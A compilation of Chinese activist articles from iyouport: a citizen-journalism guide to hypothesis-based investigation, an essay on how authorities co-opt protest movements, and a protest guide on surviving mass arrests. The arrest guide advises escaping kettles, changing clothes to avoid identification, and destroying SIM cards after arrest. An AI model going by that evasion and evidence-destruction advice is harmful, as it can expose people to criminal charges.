最后，警察终于跳下车子，把这些人赶走了。Martin 靠在桥栏杆上，注视着活动房。我问他为什么认为自己应该介入？这些人是来真的，他们有武器，这不是少年的地盘。

他想了想，然后说他知道 —— 因为父亲告诉过他 —— 20年代魏玛时期，左派和右派之间的暴力循环不断升级，直到最终完全失控。然后，他盯着坐在活动房门口抽烟的黑人，"看，我只是想显示，在这里仍有一些人支持他们"。

"我想要那些光头党知道，如果他们再来袭击这些人，他们必须先越

过一个德国人”。〇

—— 未完待续 ——

原文

从故事开始：调查不是普通的报道 — 公民调查指南（3） - iyouport

你应该了解的现实

【2020年4月21日存档】人们为什么讨厌职业记者？是因为讨厌他们的动机。他们中一些人为了流量、为了金钱、甚至为了私人恩怨而报道，而不是为了公共利益。公民记者不要犯这样的错误

如果您还没有读过或忘记了前面的部分，可以在这里看到：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》

以往大多数的调查手册都把大部分笔墨集中于哪里能找到信息。他们认为一旦发现了要找的信息，就可以完成一个可行的故事。

但是，巴黎著名学者和调查记者 Mark Lee Hunter 不同意这点，他指出，唯一的问题并不是寻找信息；相反，核心任务应该是讲故事。

用故事来粘合调查过程中的每一个步骤：从设想到研究、写作、质量控制以及发表。他将这种方法称为“以假设为基础的调查”，以强调故事在经过验证之前只是一个假说。

这是有道理的 —— 就如我们在开源情报调查报告的技巧中所介绍的：

- 在这里看到《如何讲述故事：开源情报研究初学者的指南》
- 以及《利用讲述故事推动社会变革的秘诀：更好的合作伙伴关系》

💡通过验证或否定一个故事，公民记者可以更容易地明确自己所要寻找的信息，以及如何解释它。

随着研究的深入，公民记者或独立调查团队可以组织材料进行写作，

形成最后报道的某些特定部分。

这可以使质量控制更为便利，并且可以洞察报道是否符合社会利益和道德标准。

调查过程最终将形成一个故事，它可以被概括为几个“切中要害”的句子，从而使这个故事易于推广和被人记住。

调查性报道不是普通的报道

「图」

给自己一个明确的理念，你在做什么，为什么而做。

调查性报道所要向公众揭露的事实，要么是被具有某种权力的人故意遮蔽的，要么是偶然的，因为混乱的事实和环境造成的认识模糊。

所以它同时需要使用秘密和公开两种消息源和文献。

常规的新闻报道在很大程度上几乎完全是依赖别人提供的素材（如警察、政府、公司等），即使不是完全被动的，也基本上只是一种反应。

与此相反，调查性报道所依赖的素材是记者通过自己的主动调查搜集和产生的。

常规的新闻报道目的在于如实地反映这个世界的客观形象，而调查性报道使用任何理性的观察者都会认可的客观真实的材料，为的是实现改造世界的主观目标。

这并不是说允许在正当的理由下说谎。而是了解事实真相，从而能够改变世界的一种职责。

与一些专业人士常说的相反，调查性报道并不仅仅是把优秀的老式新闻做得更加出色。

的确，这两种新闻形式都关注“谁”、“发生了什么”、“在哪里”、“什么时候”这些要素，但是，传统报道中的第五个要素“为什么”，在调查中变成了“如何”。

其他几个元素不仅在量的方面，而且在质的方面都得到了进一步开发。

“谁”不只是一个名字和一个头衔，而是一个有着个性特征和行事风格的人；“什么时候”不再是新闻的现在状态，而是一个历史连续性的叙述；“发生了什么”，并不只是一个事件，而是一个原因和后果的现象；“在哪里”不仅仅是一个地址，而是一种设置，在那里某些特定的事情变得或多或少得变得可能。

这些元素和细节最大限度地增强了调查性报道的感观效应，从而增强了对情绪的影响。

关于现代新闻为什么不行了—或者说为什么民主需要调查性新闻：

- 《现代新闻之愚蠢并非意识形态倾向性问题 (1) 政治真的没那么重要》
- 《现代新闻之愚蠢 (2)—四种最致命的倾向性 中国人更可怜》
- 《现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价》

总之，尽管公民记者可能既从事日常报道，也从事调查性工作，但是，必须说，这两种角色有时涉及完全不同的技能、工作习惯、流程和目标。这些差异，详列于下表。

不过它们并不是泾渭分明的、不可调和的对立面，而是一种判断——当情势更加倾向于表格的左边，说明你正在做的是常规的报道；当情势向表格的右面转化时，说明你开始了调查行动。

调查性工作看起来是不是远远多于普通的新闻工作？

事实上，即使你能够愉快地有效率地投入其中，过程中的每一步仍然需要更多的工作。当然，它也有更多的回报，无论是对于公众、对于你的组织，还是对于你本人。

挑选一个故事来展开调查

「图」

开始的时候，人们经常会问：“你是如何选择一个故事展开调查的？”他们在找故事的过程中经常遇到困难。

但素材是无处不在的。问题是如何去发现它。幸运的是，有许多方法可以注意到那些能引发调查的故事。

其中一个方法就是关注媒体。

一般来说，监看某个特定的领域是一个好主意，这样你可以开始识别一些模式，可以意识到这个领域内有什么不正常的事情发生了。

如果你看完一个故事并开始思考：“为什么会出现这种情况”，这意味着一个好的机会，因为有更多需要去调查。

另一种方法是注意你周围的环境发生了怎样的变化，⚠而不是想当然。

最出色的比利时记者 Chris de Stoop 上班经过某个街区时察觉到，原先在那里的比利时妓女已经让位于外国妇女，他想知道这是为什么，从而开始了一个具有里程碑意义的关于贩卖妇女的调查。

第三种方法是倾听人们的抱怨。

⚠为什么事情必须这样呢？就没有什么可以做的吗？

任何地方人群聚集的地方，比如乡村市场，网络论坛，晚宴等等，你都会听到许多听起来奇怪的，令人震惊的，或引发好奇的事情。

最后，不要只看到那些涉及不当行为的事情。

报道某些正面的事物—— 理解一个新的人才、一个能实现伟大目标的开发项目，一个创造财富和就业机会的公民组织，往往更为困难。

从中发现不可替换的成功要素或“最佳做法”，这对于你的受众来说也是一种有价值的服务。

我们经常会感慨于那些优秀的活动家 “只有当他们入狱后才被媒体和大众所关注”，而在他们从事最有价值的事业的高峰期，却不为人知。这是一种痛苦的遗憾。⚠公民记者应该摆脱职业记者的 “吸睛度” 思考方式，真正从社会利益角度开展你的工作。

还要记住：尤其是当你刚开始着手的时候，根本就没有小调查这回事。你在遥远的村庄展开调查所需要的技能和你日后在首府所需要的技能是一样的。

这不是一个理论，而是经验。用你现在身边出现的故事来构建这些技能，不要等到你去参与一个高风险的调查时再想要去弄明白自己在做什么。

最后，也是最重要的一点，跟着你的激情走，这个原则体现为以下两

个方面：

第一个方面就是我们所说的 “断腿综合症”。我们给它起了这个名字是因为，直到我们中的某个人摔断了腿，才会注意到有多少人一瘸一拐。

⚠一般来说，我们不会注意到某些现象，除非我们已经对它们很敏感。

所以，💡请让你现有的热情带领你去敏锐地发现那些别人没有认真对待的故事。

第二个方面是，如果一个故事不能让你着迷，或者让你愤怒，或者给你强烈的愿望去弄明白发生了哪些变化，那么你应该把它留给别人。

同样，如果你是一名编辑，请注意你的记者是否把一项调查仅仅当作任务。如果是这样，把任务收回，让别人去做。

为什么要这样呢？请记住：调查涉及到许多额外的工作。⚠如果你不关心一个故事，你就不会做这些工作。当然，你会使用批判的态度去完成；当然，你的态度可能在所有情况下都保持专业。但是，如果这个故事没有触动你的情感，无论怎样你都会以失败告终。

这个故事值得吗？

「图」

很多调查是由于错误的理由开展的。

虽然激情很重要，但是复仇也是一种激情，有一些记者和媒体利用调查来实现个人的复仇。

⚠虽然调查是辛勤的工作，但其中有些故事被报道只是因为它们最容易获得。有很多调查者甚至没有考虑这个故事对于读者来说是否是重要的、为什么重要……

所以当你遇到一个故事，还不确定它是否值得你付出努力的时候，问问自己以下几个问题：

- 有多少人会受到影响？（我们称其为“野兽的大小”。）
- 他们受到影响的程度有多大？（质量和数量是同样重要的。哪怕只有一个人死亡，或者他或她的生活被毁了，这个故事就是

重要的）
- 如果他们受到的影响是积极的，导致积极影响的因素可以在其它地方复制吗？
- 或者，这些人是受害者吗？
- 他们的苦难可以避免吗？
- 我们能展示出如何避免吗？
- 是否有做坏事的人必须受到惩罚？或者至少，受到谴责？
- 把发生的事情说出来，为了让它再次发生或者不会再发生，是否在任何情况下都是重要的？

这个世界充满了痛苦，但是有些痛苦是无用的，仅仅是恶习和错误的结果。

任何能够减轻苦难、残忍和愚蠢的事情都是值得做的。

调查可以进一步实现这一目标。

要把这个服务目标放在第一位，而不是简单地利用调查来推进你的事业。

⚠永远不要忘记调查是一种武器，你使用它的时候会对别人造成伤害，可能是故意的，也可能由于你的疏忽。（水门事件中的名人伍德沃德和伯恩斯坦自己也承认，由于事实没有弄清楚，毁掉了尼克松身边几个无辜人的饭碗）

在你的职业生涯中，你可能会成为某些人遭遇到的最好的事，也可能是某些人遭遇到的最糟糕的事。注意你在扮演着什么角色、对谁而言、以及为什么。

在对别人进行调查之前，仔细审视一下你自己的动机。如果这个故事对于别人来说没有对于你自己那么重要，你可能不应该报道它。

无论你想要说什么，最好是发自内心的 —— 更重要的是，这些话对于你的讲述对象是有意义的。人们不喜欢记者，原因之一就是他们不信任记者的动机。希望公民记者能有助于改变这种状况 ——为了民主为了知情权而工作。

使用假设：调查方法的核心

「图」

假设是一个故事和检验它的方法

记者们总是抱怨编辑拒绝他们伟大的故事设想。当然，这种事会发生。但通常的情况是，编辑拒绝的并不是一个故事，而是被拖下水的邀请。

计划不周的调查等于是在为了一个不确定的结果耗费时间和金钱。

例如，说："我想调查腐败"，这对于一个编辑来说并不是伟大的构想。当然，腐败在世界各地都存在。如果花足够的时间去寻找，你会找到一大堆腐败现象。

但是腐败本身是一个主题，它不是一个故事，而记者所要做的是讲故事。

如果你追求一个主题，而不是一个故事，你可以成为这个问题的专家，但要花费很多的时间、金钱和精力。

这就是为什么任何一个有头脑的编辑都会告诉你，"不要做"。

相反，如果你说"家长们期望子女们过上更好的生活，但学校的制度腐败已经摧毁了他们的希望。"那么你就是在讲一个具体的故事。这已经变得更加有趣了。

⚠无论你是否知道，你都是在提出一个假设。因为你还没有证明你的故事是真的。您现在提出学校里存在腐败，并且它已经对至少两个群体—— 家长和儿童具有毁灭性的影响。这可能是真的，也可能是假的，你还需要掌握事实。

在此期间，如果你不确定这个故事是否有意义，你就必须回答假设所定义的几个具体问题。

这些具体的问题产生于我们对假设的分解，看这个假设可以分为几个独立的具体的要求。然后，可以去逐个核实这些要求。

此外，还要看一下用来讲故事的这些词的具体含义，因为你必须发现和界定其含义。

以下是这个过程的示意图 —— 首先从假设出发 = 》现在分解成不同的概念 = 》然后更加严密地界定这些概念，看它会产生什么问题：

你可以以任何顺序回答这些问题，但最明智的顺序几乎总是你最容易

实现的那个。

任何调查迟早都会遇到困难，因为它涉及大量的事实、大量的资料来源，这意味着你需要组织大量的素材。并且，在拿你的名誉冒险之前，你还要担心你的故事是否准确。

在上述案例中，一旦你找到至少四个消息源向你确认学校确实存在腐败现象（四个以下的消息来源说明调查的基础还不牢靠），你可以开始研究学校系统是如何运作的。

你需要研究它的规则、程序，及其既定的理想和使命。当你知道系统如何运作，你将看到腐败可以滋生的灰色和黑色地带。然后，您可以将你所听到的和发现的事实同这个系统宣称的理念进行对比。

用假设推动调查的优点 ——

「图」

以上的例子听起来是不是和许多工作相似？这是因为它和那些工作本来就是一致的，它只是有别于大多数新闻报道的写作，那些报道的方法不过是同一两个消息源交谈或者是改写一篇见报的报道。

不过只要你将假设的方法同其它调查的方法进行比较，就会发现其节省人力的优点是非常明显的。

※1、假设给你一个需要验证的东西，而不是去发现一个秘密。

如果没有合理的理由，人们通常不会透露他们的秘密。

他们更可能证实你已经掌握的信息，只是因为大多数人不愿意说谎。

假设可以让你去向他们核实你的信息，而不是直接去询问信息。

假设还会让你处于一个开放的探询的立场，因为你愿意接受那些超出你一开始所怀疑的事实。

※2、假设还会增加发现秘密的机会。

很多我们所说的“秘密”只是一些从来没有人问起的事实。假设会对你产生一种心理影响，从而使你对素材更为敏感，所以你可以问出这些问题。

正如法国的调查人员 Edwy Plenel 所说：“如果你想有所发现，你就必须一直处于寻找的状态。” 还要补充一点，如果一直在寻找，你会发现你所找到的比你预期的还要多。

⚒3、假设会让你的项目管理更容易

一经确定你要找的是什么，以及从哪里开始寻找，你就可以估算调查的开头几个步骤需要多少时间。

这是把调查作为一个可以管理的项目的第一步。

⚒4、假设是一种可以反复使用的工具

当你能有条不紊地工作时，你的职业生涯将会发生改变。更重要的是，你本人也会将会改变。

你将不再需要有人告诉你去做什么，而是会看到需要去做什么和这个世界上的混乱和痛苦做斗争，并且你将能够实现它。

这不正是你要成为一个公民记者的首要理由吗？

⚒5、假设可以切实保证你将提供的是一个故事，而不是一大堆的数据

假设大大增加了产出的可能性。它使你能够预测到你工作所产生的最小的和最大的积极结果，以及最糟糕的情况。

假设可能是危险的 ——

「图」

有经验的记者都知道，当你报道了一个错误的故事时，你可能会被起诉，有时还会被送入监狱，无论是对是错。

但是，还有一个不显而易见的后果—— 讲述一个不真实的故事会让这个世界变得更加丑陋和无望。

所以请记住这一点：⚠如果你只是试图不惜一切代价地证明你的假设是真实的，甚至忽略证据，那么你将加入世界职业骗子的行列。比如那些制裁无辜的警察，那些贩卖战争如同贩卖肥皂的政客。

调查可不是为了证明你是对的，而是要寻找真相。

以假设为基础的调查是一种工具，可以挖出很多真相，但它也同样可以挖出无辜者的坟墓。

假设是如何运行的 ——

「图」

☞1、为什么第一个假设是否真实并不重要

把调查建构成假设是一个像科学一样古老的程序，并且它已经成功地在各个领域运用，从警务工作到商业咨询。（事实上，这个方法最近才被借鉴到新闻学领域是不正常的）

从本质上讲，它基于一种心理技巧。

在了解一定信息的基础之上，你建立一个你对事实看法的陈述，然后进一步寻求信息来证明或反驳你的陈述。

这是一个核实过程。即使整个假设无法被确认，某个单独的概念依然可以被验证。

如果还是不行，返回步骤之一，提出新的假设。因为一个整体和局部都无法验证的假设仅仅是猜测。

如果证据支持你的陈述，很棒，你已经有故事了。不显而易见的是，即使陈述被证明是错误的，也是很好的事，因为这意味着可能有一个比你原来想象的更好的故事。

☞2、成功在于构建假设

最初的假设应该不超过三句话，理由有两点。如果太长，你就无法解释给别人听。

更重要的是，如果太长，你可能自己都不明白它到底什么意思。

假设被陈述成一个故事。这点很重要，因为这意味你要像讲故事那样，结尾时要呼应开头 。

公民记者不只是收集事实，而是在讲故事，讲那些你希望可以改变世界的故事。

假设将帮助你把这个故事解释给别人听，从你的合作者、编辑和出版

商开始，然后是公众。

按照最基本的形式，故事一般可以阐述为以下三句话：

- 我们正面临一种形势，它造成了极大的痛苦（或者这个事情是一个很好

的例子，值得被更多的人知晓）；

- 我们是如何走到这一步的；
- 如果什么都不改变，将会发生什么……我们如何做可以让事情有所转变。

☞3、体会以下这些句子

它们有一个隐含的时间顺序。但似乎并不明显，因为顺序并不是从过去到未来一条直线。而是告诉我们以下内容：

- 关于这个问题的新闻，这是目前进展；
- 造成这个问题的原因，这是过去的；
- 要解决问题必须改变什么，这是未来的。

因此，当构建假设的时候，您已经开始构建叙事。

一个故事涉及到在特定地点和时间中移动的人物。

调查中最难的事情就是保持对叙事的专注，而不被大量的事实所淹没。

假设可以帮助你做得这一点。当你感到不知所措的时候，停止挖掘，想想这些事实是要告诉你一个什么样的故事。

如果不符合原来的假设，改变它。毕竟，这只是一个假设。

顺便提一句，想要展示如何解决一个现有的问题是非常非常困难的。有时候，你所能做到的就是谴责不公平。但是往往和你故事相关的某个人已经找到了问题的解决方案，不要忽视寻找这个人。

☞4、让假设生效的四个要点

使用假设并不是一项复杂的技巧，但是除非你比我们更有天赋（我们接受这种可能），否则在你对这种方法习以为常之前，可能需要进行

几次尝试。

以下是你需要记住的四个要点。

富有想象力

通常记者对形势做出反应。他们报道他们看到的，或听到的，或读到的，或跟进昨天的新闻。

而调查员试图揭示某些未知的东西。

⚠公民调查记者并不不仅仅是报道新闻，而是制造新闻。

因此必须进行必要的飞跃，进入一个不确定的未来。

这意味着要试着描画一个故事，这是一项创造性的工作。

要非常精确

如果你在假设中使用“房子”这个词，它是一个别墅，还是阁楼，还是窝棚？

答案很重要。你假设的事实越准确，就越容易验证。

使用你的经验

如果你已经认识到，世界在以某种方式运转，这可能适用于你试图验证的故事。你的经验可以帮助你完善假设。

不过请记住，即使是最有经验的人也会为从未见过的东西感到惊奇，甚至十分自信的人也会怀疑自己的亲身经历。

专注于故事

「图」

请牢记：公民记者提出的每一个假设必须被当作一个真实的故事来建构。

它包含新闻、原因、和解决办法。

这意味着，为了让假设看上去牢不可破，您关注的重点是故事，而不

仅仅是事实。

事实可能是你故事的基础，但他们本身并不讲述故事，而是故事在讲述事实。

⚠没有人能记得住他地址簿上的前三行，但每个人都记得他们地址簿中关于每个名字的故事。

从一开始就把你的调查建构成一个故事（记住，这个故事不一定是真实的），这不只是帮助你最终的读者或观众记住它，还是在帮助自己记住它。

这就是调查最困难的部分 —— 在事实叠加的时候要牢记故事。

花时间努力成为这个方法的专家。在每次调查过程中实践它。它将使你更幸运，并且重复你的运气。 下一篇文章中您将能看到在哪可以找到公开的挖掘线索，或者用老前辈们习惯的称呼 —— “没锁的门”，以及处理技巧。下次见。〇 //—— 未完待续 ——// 原文

（7）如何抵制当权者通过招安分化公民反抗运动：柔性镇压的两种手段 - iyouport

你应该了解的现实

（2020年9月16日存档）如果船板上有了洞，您需要做的就是，尽可能不要让它扩大化

这里是一个案例。

津巴布韦的马兰吉是以世界上最大的钻石矿藏之一而闻名的地区。这里的居民计划在津巴布韦联合钻石公司（ZCDC）的作业现场举行大型示威活动，要求该公司和政府为他们自2009年开始开采以来犯下的严重侵犯人权行为负责。

在过去的几年里，代表**ZCDC**行事的国家安全部队、还包括私人维稳部队，不断殴打、折磨和杀害手工采矿者和社区成员。

并且，该公司在资源开采过程中拼命掠夺土地和污染环境，使马兰吉的人民遭受痛苦。

这些由社区领导的抵抗努力得到了自然资源治理中心 (CNRG)的支持。该中心是一个设在津巴布韦的民间社会组织，旨在促进可持续性发展和人道主义的自然资源治理。

自然资源治理中心 (CNRG)在马兰吉注册的一个社区信托机构负责协调社区的抵抗活动，帮助该运动获得了知名度和合法性，以抵制津巴布韦矿业公司的破坏性采矿做法。

该运动混合使用了民间抵抗和机构抵抗方法，包括一系列街头行动，以呼吁人们注意津巴布韦矿业公司的侵权行为，并对权势施加压力，要求改变在其社区进行钻石开采的方式；同时向津巴布韦议会和金伯利进程请愿；以及羞辱政府和采矿公司。

理论上这是很专业的操作。

但是，去年年底，有消息传出，三名CNRG负责人被 ZCDC 公司收买。这些被收买的负责人曾试图劝阻抗议者参加2018年6月的抗议活动，并说服活动家为ZCDC “树立良好形象”。

后来，有人观察到他们在长期不明原因地离开抗议活动后，消费了数额不寻常的金钱。

这是资本家巨头最狡猾的也是最有力的一种操作。它对准抗议群体最大的支撑力量，通过收买贿赂以瓦解这一支持，而抗议者都是底层公民，如果失去支持，他们将无法获胜。

柔性镇压的两种手段

「图」

对于任何运动来说，如果想要令其势头能够足以引起传统的掌权者的注意，那么，收买操作就是一个非常值得关切的问题。

co-optation 这个词指的是当权者通过侵占运动的参与者或思想，以削弱民间运动的过程。

实现这一目的的一种常见方法就是：收买运动中的温和派小团体，以便将他们转变为掌权者的代理人（这就是在马兰吉发生的事）。

这种现象其实非常普遍。

例如，美国的公平劳动协会（FLA）是一个由克林顿政府为应对90年代学生反对血汗工厂劳工的抗议活动而成立的监督组织。然而，FLA的资金部分就来自于它应该监督的公司。

在这种情况下，用活动家 Bill Moyer 的话说就是，掌权者确保 “与改革派激进活动家的勾结或妥协，削弱了关键运动目标的实现”。

另一种手段是挪用运动理念，以削弱其作为号召工具的有效性。

例如，根据 Moyer 的解释，考虑一下大企业如何经常采用环保运动的语言，挪用 “诸如 ‘可持续性’、‘绿色’ 或 ‘有机食品’ 等词语和概念，但这只是为了混淆公众认知，并降低抵抗运动使用这些术语的有效性”。

我们的读者也许最熟悉的就是 “开源” 这个词了，当那些监视资本主义寡头纷纷 “拥抱开源” 的时候，你就会知道，开源运动已经被压

制。

还有更明显的 “隐私” 这个词，被监视资本家如苹果作为广告语，导致大众无法分辨活动家的建议和寡头公司的诱骗。见下文：

- 《以隐私为目的的斗争如何让你变成了监视的盟友》

这些手段的影响可能会对抗议运动造成很大的损害。

根据对埃及激进活动家的采访，Nadine Sika 观察到：

“这些手段是该政权的一种工具性策略，其方式有两种：第一，它在运动本身制造内部斗争，使活动家团体更加分散。第二，它便利了政权对抗议运动行动者的镇压（他们给大棒，我给胡萝卜）。这些手段除了威慑新的抗议运动的发展外，还造成了更多的分裂”。

怀疑招安存在时如何反击

「图」

对可疑共谋行为的自然反应可能是让活动家点名羞辱那些被收买的人，指明他们是不可信任的叛徒。

然而，可能还有一种更精明的处理共谋的方式：谨慎地孤立他们，然后解除他们的武装，最后给他们指明退出方式。

当马兰吉社区开始传出关于收买的消息时，CNRG 和社区并没有加入对他们的指控。相反，CNRG 的工作人员会见了信托机构的其他九名成员和几位传统的社区领袖，以收集更多的信息。

在证实了传言之后，运动领导人对社区进行了改组，使信托机构和负责组织运动活动的负责人之间的责任分工更加明确。

CNRG 的工作人员没有试图将这些被收买的个人完全清除出去，而是提醒他们，他们作为机构成员的作用是为机构制定政策，而不是直接管理抗议运动活动规划。其他成员同意遵守这一任务。

机构随后扩大了规模，在马兰吉的每个村庄都增加了协调员，使后者能够以更大的独立性和权力下放的方式运作。

在整个过程中逐步对那些被收买的人降权，而不是一次性的，让他们没有明确的理由怀疑自己被排斥。

经过几个月的精心管理，尽可能挽回被收买者可能造成的潜在伤害，直到2018年12月，运动组织感到是时候请他们下台了。

面对被责令退出，这些人变得咄咄逼人，再次试图破坏抗议活动，但是那个时候他们破坏运动的能力已经大大减弱。此时，他们越是试图破坏，就越是与社区疏远。

如果您怀疑您的抗议运动中的某个人被人利用了，在采取行动之前，首先要检查背景和您可以选择的方案。要在保护自己的前提下充分利用可用的资源，将损失降至最低。

当您开始怀疑有人利用您的时候，要注意自己最初的情绪反应。在考虑该怎么做之前，要给时间让情绪平静下来，这样才能制定出有技巧的反应，而不是在一时的激情中做出反应。冲动和智慧往往不兼容。

在某些情况下，运动领袖可能会决定点名羞辱被收买者。但在许多情况下，像这里所描述的那种更微妙的反应可能会更有效地开除被收买的成员 —— 而不会损害运动的完整性。〇

1. 行动技巧 (8)

原文

充分利用大规模逮捕，以及被捕后怎么办：示威参与者指南（7） - iyouport

你应该了解的现实

【2021年5月25日存档】永远记得，即使在被捕的情况下，我们仍然可以继续反抗

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》

2017年1月20日，美国发生了历史上最激烈的抵抗总统就职典礼的抗议事件。当天，有远超100名示威者在12号和L号交叉路口被警察包围并被逮捕。这是自15年前的人民大罢工以来，华盛顿最大规模的大规模逮捕行动，而2020年的就职典礼示威活动中的具体统计数字还没有出来。

📌 这次逮捕使用的是水壶战术，我们曾经介绍过这种抓捕方式见《抗议者如何对付警察：警惕”水壶”战术》。在下面看到当时的场景视频 —— 注意在警察的围捕 “水壶” 开始形成的最初，一些抗议者很有组织地号召人们冲锋，举着雨伞地抵挡警方的反击。最终只有这些人逃脱了，后面没有跟上来的100人都被捕了：

这批抗议者与经历过大规模逮捕的前辈之间的差距显而易见。有些人无意中让警察收集到了有关他们的情报；许多人对逮捕过程的基本知识很是缺乏。

当下正是群众抗争和大规模逮捕的新阶段，本文将尝试梳理一些历史事件中的经验教训，以便帮助未来的行动者尽可能避免被逮捕、利用被逮捕、尤其是在拘留所里保护自己。

1. 如果您拿定主意破釜沉舟，那就必须非常快速地行动

「图」

周五的水壶围困中，有些人确实逃过了逮捕这一劫。一场勇敢冲锋让一些反抗者挣脱了束缚（如上面的视频），并在当天余下的时间里在街头继续战斗。

他们成功的关键是，他们冲锋的时候，最大部队的警察力量还守在12号和L号路交叉口。

📌 被水壶围困的时间越长，就越难突围：警察会快速建立起自己的势力和监控，被围困的抗议者会迅速降低士气。所以，如果您想尽可能摆脱这种围困逮捕，最好的机会就是在水壶战术开始实施的最初突破防线。

2. 利用团队的中间环节，让自己得以摆脱敏感物品

「图」

一旦确定被包围，你就没有逃跑的机会了，这时候你就应该立即更换服装；尽量在不被拍到的情况下更换服装。

📌 在任何一个行动组织中，穿一套最普通的衣服在里层，都是很重要的 —— 我们曾经介绍过这点，见第5集《从雨伞到激光、气球到电动工具》，因为只有这样你才可以迅速转变自己的面貌。

在遭遇大规模逮捕的情况下，最稳妥的方法是移动到人群中心位置，隐藏在人群中看不到你的地方，脱掉任何可疑的物品—— 比如行动标识、与这场行动相关的装束等，换上你的便装，然后移动到人群的外围，为那些还没有换服装的人提供掩护。

📌 也就是说换衣服需要有组织地交替进行，不能是一下子所有人都想要获得换衣服的机会，那将没有任何人能拥有这个机会。必须有足够多的人愿意为同伴做掩护。

在换衣服的时候，要认识到可能会让你暴露的 *所有* 细节，比如你

的鞋子或背包。例如，你可以把早前背着的包包放在另一个更大的包包里面，或者放在你的黑色装备下面（外面套一个外套），或者用黑色胶带遮住鞋子上的可识别性标志。

3. 不要让警察的工作变得简单

「图」

当被扣留在12号和L号路口的抗议者人群被要求把手举起来时，大多数人都举起了手。这不是他们唯一能做的事。

📌 请记住，我们在囚禁中能找到的安全感永远不会来自于服从命令，而是来自于我们如何利用警方要求的任何合作，而这些合作仍在我们的控制之下。

如果他们让你做什么，可能是因为这能让他们的工作更轻松。理想的情况是，被拘留的人群应该建立一个程序，共同决定如何回应警察的命令。

非暴力直接行动的标准指南建议建立一个警察联络系统，但在某些情况下，这可能是困难的。在2002年人民大罢工的一次大规模逮捕中，被拘留者立即被绑住了手臂，直到警察告诉人群他们会允许人们举手离开水壶。

而一起 *协调性不服从* 的行动经验能够在参与者之间建立士气和融洽的关系，这在整个余下的被关押过程中都会很有用。在J20上，警察所要做的就是在人群中穿行，指着人们让他们心甘情愿地走进一辆车。有些人只是因为无聊而自愿被捕，*误以为* 这样可以加快释放速度。

反全球化运动经历了很多次大规模的抓捕，有很多有创意的轶事可以借鉴。

一代人之前，被捕者拒绝透露姓名，一进拘留所就换衣服；干脆在拘留所里脱光衣服，一丝不挂；在监狱里唱歌；互相锁住手臂，形成被捕者的“人链”，阻碍警察的任务。这些声援和反抗的事例，很多都以警察对被捕者施暴而告终，但是，有时也迫使当局释放了一批批“John Does”和“Jane Does”（有趣的化名），而没有起诉。

老实说，在任何情况下我们都无法确定地计算出什么样的不服从对被捕者最有利，大多数人都不想为了象征性的反抗而被打碎肋条——

但我们不应该忘记，即使在被捕的情况下，我们仍然可以继续反抗。

- 不要错过《以聪明的方式被捕：投标人和盟友的光谱》

4. 新情况＝新机会

「图」

在第12街和L街，一些抗议者利用了15年来华盛顿最大规模的逮捕，组织一些被拘留者发表反独裁宣言。流传的另一个想法是绝食，以呼吁人们关注 Standing Rock 的 “No DAPL” 斗争。其中许多人反正30多个小时没吃东西。

当天全世界的目光都集中在华盛顿，大规模逮捕的严重性提供了另一个机会来澄清抗议者的信息并加强其影响。

后来，在一间拘留室里，四十多名被捕的抗议者正无聊而焦虑地躺在那里，有一个人提议大家举行一次讨论，讨论我们如何能从这次经历中汲取更多的力量。

📌 这立即改变了一群抗议者在拘留室里的基调：人们从一个个孤立的、害怕的个体，凝聚成了一股勇敢的集体力量。

5. 不要带自己的手机

「图」

虽然发生在12号和L号大街的大规模逮捕与十年前的大规模逮捕相似，但有一点是新的：警方没收了大多数人的手机。当天携带个人手机的被捕者的所有关联人、对话和社交媒体账号，现在可能连传票都不需要，就能被当局获得。在这一点上，你不知道他们会如何使用从所有手机中收集到的信息来对付你，但这件事必须再次提醒参加行动的人们，一定要注意手机问题。

📌 在这里看到您必须注意的一切，以及解决方案《指南：当您准备参加抗议活动…》。

请不要把您的个人手机带到抗议活动现场；更不要在街上拍照——这可以帮助警察识别你在哪里，你周围有谁，也给警察提供调查和起诉您的队友的照片证据。

📌 如果您必需拍摄，请留心这里指出的注意事项《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》。

一次性手机有很多选择。如果你想要一部没有实名的手机，这是一个不错的选择 —— 例如，这样你仍然可以与为援助组织的短信提醒和法律热线保持同步。这里是一些选择手机的方法：

- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》
- 以及《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 完整指南《如何在监视时代参加抗议活动》

📌 如果你被逮捕，请尽量快速销毁、抛弃或隐藏你的SIM卡，这样警察就无法获取你的所有信息。有律师提出，一旦手机被警方掌握，远程擦拭手机可以算作是“篡改证据”，你会因此被起诉。即使取出SIM卡后，你的手机上可能还残留着很多东西。怎么强调这一点都不为过：不要带着您的私人手机去参加有高逮捕风险的行动。

6. 抓住机遇，传播技能

「图」

一旦被包围，就不能保证你们有多少时间在一起。当时一些抗议者在12号和L号大街上呆了8个小时，但如果警察有更好的准备，他们就可能会立即把抗议者拖走。

📌 当你有机会的时候，把本系列讲述的这些技能传授给经验不足的人是很重要的。当你们还在一起的时候，让每个人都站在同一阵线上，意味着每个人都会得到同样的信息 —— 这比寄希望于在所有运送被捕者的车辆上进行同样的对话，更有意义。

如果你是一个有丰富经验的运动老手，不要太羞于通过说话来暴露自己 —— 有你在身边，就不能让那些对基本安全文化一无所知的人犯容易预防的错误。

你也许会担心警察把你视为“潜在的领导者”而不敢说话，但是要知道，只要有一个人犯了愚蠢的错误，就会让所有人陷入危险之中，比警察如何判断领导者更要危险得多。大家都站在同一条战线上的感觉，会让人们以后在警方的压力下有恃无恐地闭上嘴巴。

7. 互相关爱

「图」

12号大街被围在水壶里的人们有一件事做得很好，那就是互相照顾。

